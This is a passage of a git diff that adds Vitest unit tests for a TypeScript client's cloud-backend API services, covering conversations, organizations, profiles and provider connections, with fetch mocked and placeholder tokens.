+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(
+    mockJsonResponse({ id: "conv-abc", public: true }),
+  );
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService.updateConversationPublicFlag", () => {
+  it("PATCHes /api/v1/app-conversations/{id} directly on a cloud backend", async () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    await AgentServerConversationService.updateConversationPublicFlag(
+      "conv-abc",
+      true,
+    );
+
+    expect(fetchMock).toHaveBeenCalledOnce();
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations/conv-abc`);
+    expect(init).toMatchObject({
+      method: "PATCH",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(getJsonBody(init)).toEqual({ public: true });
+  });
+
+  it("rejects without calling the cloud API when the active backend is local", async () => {
+    // Default state after reset is the bundled local backend.
+    await expect(
+      AgentServerConversationService.updateConversationPublicFlag(
+        "conv-abc",
+        true,
+      ),
+    ).rejects.toThrow(/cloud backend/);
+    expect(fetchMock).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/api/cloud/conversation-runtime-info.test.ts b/__tests__/api/cloud/conversation-runtime-info.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..950c2198186db76697a5fda40b0d398e0a7d17b8
--- /dev/null
+++ b/__tests__/api/cloud/conversation-runtime-info.test.ts
@@ -0,0 +1,135 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+  getFetchCall,
+  getJsonBody,
+  mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const localBackend: Backend = {
+  id: "self-hosted",
+  name: "Self-hosted",
+  host: "http://192.168.1.99:9999",
+  apiKey: "local-key",
+  kind: "local",
+};
+
+const runtimeResponse = {
+  id: "conv-abc",
+  title: "Test conversation",
+  created_at: "2026-04-16T00:00:00Z",
+  updated_at: "2026-04-16T00:00:00Z",
+  execution_status: "idle",
+  metrics: null,
+  stats: {
+    usage_to_metrics: {
+      agent: {
+        model_name: "test-model",
+        accumulated_cost: 1.23,
+        max_budget_per_task: null,
+        accumulated_token_usage: null,
+        costs: [],
+        response_latencies: [],
+        token_usages: [],
+      },
+    },
+  },
+};
+
+const fetchMock = vi.fn();
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  vi.unstubAllGlobals();
+  vi.restoreAllMocks();
+});
+
+describe("AgentServerConversationService.getRuntimeConversation", () => {
+  describe("cloud mode", () => {
+    beforeEach(() => {
+      __resetActiveStoreForTests();
+      setRegisteredBackends([cloudBackend]);
+      setActiveSelection({ backendId: cloudBackend.id });
+      fetchMock.mockReset();
+      vi.stubGlobal("fetch", fetchMock);
+    });
+
+    it("targets the conversation runtime host directly and forwards X-Session-API-Key", async () => {
+      // Arrange
+      fetchMock.mockResolvedValue(mockJsonResponse(runtimeResponse));
+      const conversationUrl =
+        "http://abc123.runtime.all-hands.dev/api/conversations/conv-abc";
+
+      // Act
+      const result =
+        await AgentServerConversationService.getRuntimeConversation(
+          "conv-abc",
+          conversationUrl,
+          "session-xyz",
+        );
+
+      // Assert — fetch goes directly to the runtime host, not through
+      // /api/cloud-proxy (which was removed from the agent-server).
+      expect(fetchMock).toHaveBeenCalledOnce();
+      const [url, init] = getFetchCall(fetchMock);
+      expect(url).toContain("abc123.runtime.all-hands.dev");
+      expect(url).toContain("/api/conversations/conv-abc");
+      expect(url).not.toMatch(/\/api\/cloud-proxy$/);
+      expect(init.headers).toMatchObject({
+        "X-Session-API-Key": "session-xyz",
+      });
+      expect(result.stats.usage_to_metrics.agent?.accumulated_cost).toBe(1.23);
+    });
+  });
+
+  describe("local mode", () => {
+    beforeEach(() => {
+      __resetActiveStoreForTests();
+      setRegisteredBackends([localBackend]);
+      setActiveSelection({ backendId: localBackend.id });
+      fetchMock.mockReset();
+      vi.stubGlobal("fetch", fetchMock);
+    });
+
+    it("targets the conversation_url host (not the active backend host) and forwards X-Session-API-Key", async () => {
+      // Arrange
+      fetchMock.mockResolvedValue(mockJsonResponse(runtimeResponse));
+      const conversationUrl =
+        "http://192.168.1.42:8888/api/conversations/conv-abc";
+
+      // Act
+      const result =
+        await AgentServerConversationService.getRuntimeConversation(
+          "conv-abc",
+          conversationUrl,
+          "session-xyz",
+        );
+
+      // Assert
+      expect(fetchMock).toHaveBeenCalledOnce();
+      const [url, init] = getFetchCall(fetchMock);
+      expect(url).toContain("192.168.1.42:8888");
+      expect(url).not.toContain(localBackend.host);
+      expect(init.headers).toMatchObject({
+        "X-Session-API-Key": "session-xyz",
+      });
+      expect(result.id).toBe("conv-abc");
+    });
+  });
+});
diff --git a/__tests__/api/cloud/conversation-title.test.ts b/__tests__/api/cloud/conversation-title.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..1680c8ff76a55e57a6cdaf809c1baa2381181d1e
--- /dev/null
+++ b/__tests__/api/cloud/conversation-title.test.ts
@@ -0,0 +1,84 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+  getFetchCall,
+  getJsonBody,
+  mockJsonResponse,
+} from "./fetch-test-utils";
+
+vi.mock("@openhands/typescript-client/clients", async (importOriginal) => {
+  const actual =
+    await importOriginal<
+      typeof import("@openhands/typescript-client/clients")
+    >();
+
+  return {
+    ...actual,
+    ConversationClient: vi.fn().mockImplementation(() => ({
+      updateConversation: vi
+        .fn()
+        .mockRejectedValue(
+          new Error("Cloud title updates must not use ConversationClient"),
+        ),
+    })),
+  };
+});
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(
+    mockJsonResponse({ id: "conv-abc", title: "Renamed conversation" }),
+  );
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("AgentServerConversationService.updateConversationTitle", () => {
+  it("PATCHes the app-conversation directly on a cloud backend", async () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    const result = await AgentServerConversationService.updateConversationTitle(
+      "conv-abc",
+      "Renamed conversation",
+    );
+
+    expect(fetchMock).toHaveBeenCalledOnce();
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations/conv-abc`);
+    expect(init).toMatchObject({
+      method: "PATCH",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(getJsonBody(init)).toEqual({ title: "Renamed conversation" });
+    expect(result).toMatchObject({
+      id: "conv-abc",
+      title: "Renamed conversation",
+    });
+  });
+});
diff --git a/__tests__/api/cloud/fetch-test-utils.ts b/__tests__/api/cloud/fetch-test-utils.ts
new file mode 100644
index 0000000000000000000000000000000000000000..5ff84e87f2e65da7b8003ec31f1af6557c4c2717
--- /dev/null
+++ b/__tests__/api/cloud/fetch-test-utils.ts
@@ -0,0 +1,33 @@
+import { vi } from "vitest";
+
+type FetchMock = ReturnType<typeof vi.fn>;
+
+export function mockJsonResponse(data: unknown, status = 200): Response {
+  return new Response(JSON.stringify(data), {
+    status,
+    statusText: status === 200 ? "OK" : "Error",
+    headers: { "content-type": "application/json" },
+  });
+}
+
+export function mockBlobResponse(
+  body: BodyInit,
+  contentType: string,
+): Response {
+  return new Response(body, {
+    status: 200,
+    headers: { "content-type": contentType },
+  });
+}
+
+export function getFetchCall(
+  fetchMock: FetchMock,
+  index = 0,
+): [string, RequestInit] {
+  const [url, init] = fetchMock.mock.calls[index] as [string, RequestInit];
+  return [url, init ?? {}];
+}
+
+export function getJsonBody(init: RequestInit): Record<string, unknown> {
+  return JSON.parse(String(init.body ?? "{}")) as Record<string, unknown>;
+}
diff --git a/__tests__/api/cloud/git-service.test.ts b/__tests__/api/cloud/git-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..e094f7c0c5f7779f3ced4976e58061865ab834b9
--- /dev/null
+++ b/__tests__/api/cloud/git-service.test.ts
@@ -0,0 +1,69 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { getCloudRepositoryBranches } from "#/api/cloud/git-service.api";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const emptyBranchPage = { items: [], next_page_id: null };
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse(emptyBranchPage));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("getCloudRepositoryBranches", () => {
+  it("includes an empty query parameter when listing all branches so the upstream schema is satisfied", async () => {
+    // Act
+    await getCloudRepositoryBranches({
+      provider: "github",
+      repository: "hieptl/hieptl",
+    });
+
+    // Assert
+    const [url, init] = getFetchCall(fetchMock);
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(url).toMatch(/[?&]query=(&|$)/);
+  });
+
+  it("forwards a non-empty query parameter when searching branches", async () => {
+    // Act
+    await getCloudRepositoryBranches({
+      provider: "github",
+      repository: "hieptl/hieptl",
+      query: "feature/login",
+    });
+
+    // Assert
+    const [url] = getFetchCall(fetchMock);
+    expect(url).toContain("query=feature%2Flogin");
+  });
+});
diff --git a/__tests__/api/cloud/organization-me.test.ts b/__tests__/api/cloud/organization-me.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..313028c2fa39ccf78e507d2f6990e4ee3c7b7f1c
--- /dev/null
+++ b/__tests__/api/cloud/organization-me.test.ts
@@ -0,0 +1,88 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { getCloudOrganizationMe } from "#/api/cloud/organization-service.api";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("cloud organization /me", () => {
+  it("calls /api/organizations/{orgId}/me directly and returns user_id", async () => {
+    const orgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+    fetchMock.mockResolvedValue(
+      mockJsonResponse({
+        org_id: orgId,
+        user_id: orgId,
+        email: "hieptl.developer@gmail.com",
+        role: "owner",
+        permissions: ["view_org_settings", "edit_org_settings"],
+      }),
+    );
+
+    const result = await getCloudOrganizationMe(orgId);
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/organizations/${orgId}/me`);
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(result).toEqual({
+      orgId,
+      userId: orgId,
+      role: "owner",
+      permissions: ["view_org_settings", "edit_org_settings"],
+    });
+  });
+
+  it("returns null permissions when the app-server omits them (older version)", async () => {
+    const orgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+    fetchMock.mockResolvedValue(
+      mockJsonResponse({
+        org_id: orgId,
+        user_id: orgId,
+        email: "x@example.com",
+        role: "member",
+      }),
+    );
+
+    const result = await getCloudOrganizationMe(orgId);
+
+    // Absent `permissions` → null, so callers fall back to the role check.
+    expect(result).toEqual({
+      orgId,
+      userId: orgId,
+      role: "member",
+      permissions: null,
+    });
+  });
+});
diff --git a/__tests__/api/cloud/organization-service.test.ts b/__tests__/api/cloud/organization-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b64bb55399ddf3487ef30d0627ddc844ac556579
--- /dev/null
+++ b/__tests__/api/cloud/organization-service.test.ts
@@ -0,0 +1,144 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { HttpError } from "@openhands/typescript-client";
+import {
+  __resetActiveStoreForTests,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import {
+  getCloudOrganizationMember,
+  getCloudOrganizations,
+  getCurrentCloudApiKey,
+} from "#/api/cloud/organization-service.api";
+import type { Backend } from "#/api/backend-registry/types";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+function mockJsonResponse(data: unknown, status = 200): Response {
+  return new Response(JSON.stringify(data), {
+    status,
+    statusText: status === 200 ? "OK" : "Error",
+    headers: { "content-type": "application/json" },
+  });
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([]);
+  fetchMock.mockReset();
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("cloud organization-service", () => {
+  it("getCloudOrganizations calls the cloud API directly and returns normalized data", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({
+        items: [{ id: "org-1", name: "Personal" }],
+        current_org_id: "org-1",
+      }),
+    );
+
+    const result = await getCloudOrganizations(cloudBackend);
+
+    expect(fetchMock).toHaveBeenCalledOnce();
+    const [url, init] = fetchMock.mock.calls[0]!;
+
+    expect(url).toBe(`${cloudBackend.host}/api/organizations`);
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+
+    expect(result).toEqual({
+      items: [{ id: "org-1", name: "Personal" }],
+      currentOrgId: "org-1",
+    });
+  });
+
+  it("getCurrentCloudApiKey hits /api/keys/current and returns the bound orgId", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({
+        id: "key-1",
+        name: "k",
+        org_id: "org-bound",
+        user_id: "user-1",
+        auth_type: "bearer",
+      }),
+    );
+
+    const result = await getCurrentCloudApiKey(cloudBackend);
+
+    const [url, init] = fetchMock.mock.calls[0]!;
+    expect(url).toBe(`${cloudBackend.host}/api/keys/current`);
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(result).toEqual({ orgId: "org-bound", isLegacyKey: false });
+  });
+
+  it("getCurrentCloudApiKey treats an upstream 400 as a legacy key (no binding)", async () => {
+    fetchMock.mockResolvedValueOnce(mockJsonResponse({ detail: "bad" }, 400));
+
+    const result = await getCurrentCloudApiKey(cloudBackend);
+
+    expect(result).toEqual({ orgId: null, isLegacyKey: true });
+  });
+
+  it("getCurrentCloudApiKey rethrows non-400 upstream errors (e.g. revoked key)", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({ detail: "unauthorized" }, 401),
+    );
+
+    await expect(getCurrentCloudApiKey(cloudBackend)).rejects.toBeInstanceOf(
+      HttpError,
+    );
+  });
+
+  it("getCloudOrganizationMember hits /api/organizations/{orgId}/members/{userId} and returns the member", async () => {
+    // Arrange
+    const member = {
+      org_id: "org-1",
+      user_id: "user-1",
+      email: "jdoe@acme.com",
+      role: "member",
+      status: "active",
+    };
+    fetchMock.mockResolvedValueOnce(mockJsonResponse(member));
+
+    // Act
+    const result = await getCloudOrganizationMember(
+      "org-1",
+      "user-1",
+      cloudBackend,
+    );
+
+    // Assert
+    expect(fetchMock).toHaveBeenCalledOnce();
+    const [url, init] = fetchMock.mock.calls[0]!;
+    expect(url).toBe(
+      `${cloudBackend.host}/api/organizations/org-1/members/user-1`,
+    );
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(result).toEqual(member);
+  });
+});
diff --git a/__tests__/api/cloud/profiles-service.test.ts b/__tests__/api/cloud/profiles-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..db7d058aca870220db954880b447b0fa03640883
--- /dev/null
+++ b/__tests__/api/cloud/profiles-service.test.ts
@@ -0,0 +1,217 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import ProfilesService, {
+  type SaveProfileRequest,
+} from "#/api/profiles-service/profiles-service.api";
+import {
+  getFetchCall,
+  getJsonBody,
+  mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const ORG_ID = "org-1";
+const ORG_BASE = `https://app.all-hands.dev/api/organizations/${ORG_ID}/profiles`;
+const SETTINGS_BASE = "https://app.all-hands.dev/api/v1/settings/profiles";
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse({}));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+// With an org bound, profile CRUD goes through the org-gated routes so the
+// server enforces EDIT_ORG_SETTINGS (a member's mutation 403s, not just hidden).
+describe("ProfilesService against a cloud org (gated org routes)", () => {
+  beforeEach(() => {
+    setActiveSelection({ backendId: cloudBackend.id, orgId: ORG_ID });
+  });
+
+  it("lists profiles via GET /api/organizations/{orgId}/profiles", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({
+        profiles: [
+          { name: "gpt", model: "gpt-4o", base_url: null, api_key_set: true },
+        ],
+        active_profile: "gpt",
+      }),
+    );
+
+    const res = await ProfilesService.listProfiles();
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(ORG_BASE);
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(res.active_profile).toBe("gpt");
+  });
+
+  it("fetches a profile and maps the org `llm` onto `config`", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({
+        name: "my profile",
+        llm: { model: "gpt-4o", api_key: null },
+      }),
+    );
+
+    const res = await ProfilesService.getProfile("my profile");
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${ORG_BASE}/my%20profile`);
+    expect(init).toMatchObject({
+      method: "GET",
+    });
+    expect(res).toEqual({
+      name: "my profile",
+      config: { model: "gpt-4o", api_key: null },
+      api_key_set: false,
+    });
+  });
+
+  it("saves a profile via POST .../{name} forwarding the request body", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({ name: "gpt", message: "Profile 'gpt' saved" }),
+    );
+
+    await ProfilesService.saveProfile("gpt", {
+      llm: { model: "gpt-4o" } as SaveProfileRequest["llm"],
+      include_secrets: true,
+    });
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${ORG_BASE}/gpt`);
+    expect(init).toMatchObject({
+      method: "POST",
+    });
+    expect(getJsonBody(init)).toEqual({
+      llm: { model: "gpt-4o" },
+      include_secrets: true,
+    });
+  });
+
+  it("deletes a profile via DELETE .../{name}", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({ name: "gpt", message: "Profile 'gpt' deleted" }),
+    );
+
+    await ProfilesService.deleteProfile("gpt");
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${ORG_BASE}/gpt`);
+    expect(init).toMatchObject({ method: "DELETE" });
+  });
+
+  it("renames a profile via POST .../{name}/rename with new_name", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({ name: "new", message: "renamed" }),
+    );
+
+    await ProfilesService.renameProfile("old", "new");
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${ORG_BASE}/old/rename`);
+    expect(init).toMatchObject({
+      method: "POST",
+    });
+    expect(getJsonBody(init)).toEqual({ new_name: "new" });
+  });
+
+  it("activates a profile and maps the org `llm` onto `llm_applied`", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({
+        name: "gpt",
+        message: "Switched to profile 'gpt'",
+        llm: { model: "gpt-4o" },
+      }),
+    );
+
+    const res = await ProfilesService.activateProfile("gpt");
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${ORG_BASE}/gpt/activate`);
+    expect(init).toMatchObject({
+      method: "POST",
+    });
+    expect(res).toEqual({
+      name: "gpt",
+      message: "Switched to profile 'gpt'",
+      llm_applied: true,
+    });
+  });
+});
+
+// Legacy API keys have no org bound; CRUD falls back to the per-user settings
+// route (ungated — there is no org role to enforce against).
+describe("ProfilesService on a cloud backend with no org (fallback)", () => {
+  beforeEach(() => {
+    setActiveSelection({ backendId: cloudBackend.id });
+  });
+
+  it("lists via the per-user settings route", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({ profiles: [], active_profile: null }),
+    );
+
+    await ProfilesService.listProfiles();
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(SETTINGS_BASE);
+    expect(init).toMatchObject({ method: "GET" });
+  });
+
+  it("saves via the per-user settings route", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({ name: "gpt", message: "saved" }),
+    );
+
+    await ProfilesService.saveProfile("gpt", {
+      llm: { model: "gpt-4o" } as SaveProfileRequest["llm"],
+      include_secrets: true,
+    });
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${SETTINGS_BASE}/gpt`);
+    expect(init).toMatchObject({ method: "POST" });
+  });
+
+  it("activates via the per-user settings route and maps `model`", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({ name: "gpt", message: "ok", model: "gpt-4o" }),
+    );
+
+    const res = await ProfilesService.activateProfile("gpt");
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${SETTINGS_BASE}/gpt/activate`);
+    expect(init).toMatchObject({
+      method: "POST",
+    });
+    expect(res.llm_applied).toBe(true);
+  });
+});
diff --git a/__tests__/api/cloud/provider-connections-service.test.ts b/__tests__/api/cloud/provider-connections-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d2a2bced0693ba60c919d1e99227f5f74c4649a1
--- /dev/null
+++ b/__tests__/api/cloud/provider-connections-service.test.ts
@@ -0,0 +1,140 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import ProviderConnectionsService from "#/api/provider-connections-service/provider-connections-service.api";
+import {
+  getFetchCall,
+  getJsonBody,
+  mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const ORG_ID = "org-1";
+const BASE = `https://app.all-hands.dev/api/organizations/${ORG_ID}/provider-connections`;
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+const connection = {
+  id: "conn-1",
+  display_name: "My OpenAI",
+  provider: "openai",
+  base_url: null,
+  created_at: 1,
+  updated_at: 2,
+  api_key_set: true,
+};
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse({}));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+// With an org bound, provider-connection CRUD goes through the org-gated routes
+// so the server enforces EDIT_ORG_SETTINGS / VIEW_ORG_SETTINGS.
+describe("ProviderConnectionsService against a cloud org", () => {
+  beforeEach(() => {
+    setActiveSelection({ backendId: cloudBackend.id, orgId: ORG_ID });
+  });
+
+  it("lists connections and unwraps the { connections } envelope", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({ connections: [connection] }),
+    );
+
+    const res = await ProviderConnectionsService.list();
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(BASE);
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(res).toEqual([connection]);
+  });
+
+  it("returns [] when the org has no connections", async () => {
+    fetchMock.mockResolvedValueOnce(mockJsonResponse({ connections: [] }));
+
+    const res = await ProviderConnectionsService.list();
+
+    expect(res).toEqual([]);
+  });
+
+  it("creates a connection via POST with the request body", async () => {
+    fetchMock.mockResolvedValueOnce(mockJsonResponse(connection));
+
+    const request = {
+      display_name: "My OpenAI",
+      provider: "openai",
+      api_key: "sk-123",
+      base_url: null,
+    };
+    const res = await ProviderConnectionsService.create(request);
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(BASE);
+    expect(init).toMatchObject({ method: "POST" });
+    expect(getJsonBody(init)).toEqual(request);
+    expect(res).toEqual(connection);
+  });
+
+  it("updates a connection via PATCH at the id-scoped path", async () => {
+    fetchMock.mockResolvedValueOnce(mockJsonResponse(connection));
+
+    const res = await ProviderConnectionsService.update("conn-1", {
+      display_name: "Renamed",
+    });
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${BASE}/conn-1`);
+    expect(init).toMatchObject({ method: "PATCH" });
+    expect(getJsonBody(init)).toEqual({ display_name: "Renamed" });
+    expect(res).toEqual(connection);
+  });
+
+  it("url-encodes the id when deleting", async () => {
+    fetchMock.mockResolvedValueOnce(mockJsonResponse(connection));
+
+    await ProviderConnectionsService.delete("a b/c");
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${BASE}/a%20b%2Fc`);
+    expect(init).toMatchObject({ method: "DELETE" });
+  });
+});
+
+// Without an org bound (legacy API keys), the org-scoped route is unaddressable.
+describe("ProviderConnectionsService on a cloud backend with no org", () => {
+  beforeEach(() => {
+    setActiveSelection({ backendId: cloudBackend.id });
+  });
+
+  it("throws rather than firing an unaddressable request", async () => {
+    await expect(ProviderConnectionsService.list()).rejects.toThrow(
+      /organization-bound/i,
+    );
+    expect(fetchMock).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/api/cloud/proxy.test.ts b/__tests__/api/cloud/proxy.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..8a3cb09615e30a129cf2e62f5cdc797d70f3759e
--- /dev/null
+++ b/__tests__/api/cloud/proxy.test.ts
@@ -0,0 +1,272 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { callCloudProxy } from "#/api/cloud/proxy";
+import type { Backend } from "#/api/backend-registry/types";
+
+const cloudPersonal: Backend = {
+  id: "cloud-personal",
+  name: "Production - Personal",
+  host: "https://app.all-hands.dev",
+  apiKey: "personal-key",
+  kind: "cloud",
+};
+
+const cloudAcme: Backend = {
+  id: "cloud-acme",
+  name: "Production - Acme",
+  host: "https://app.all-hands.dev",
+  apiKey: "acme-key",
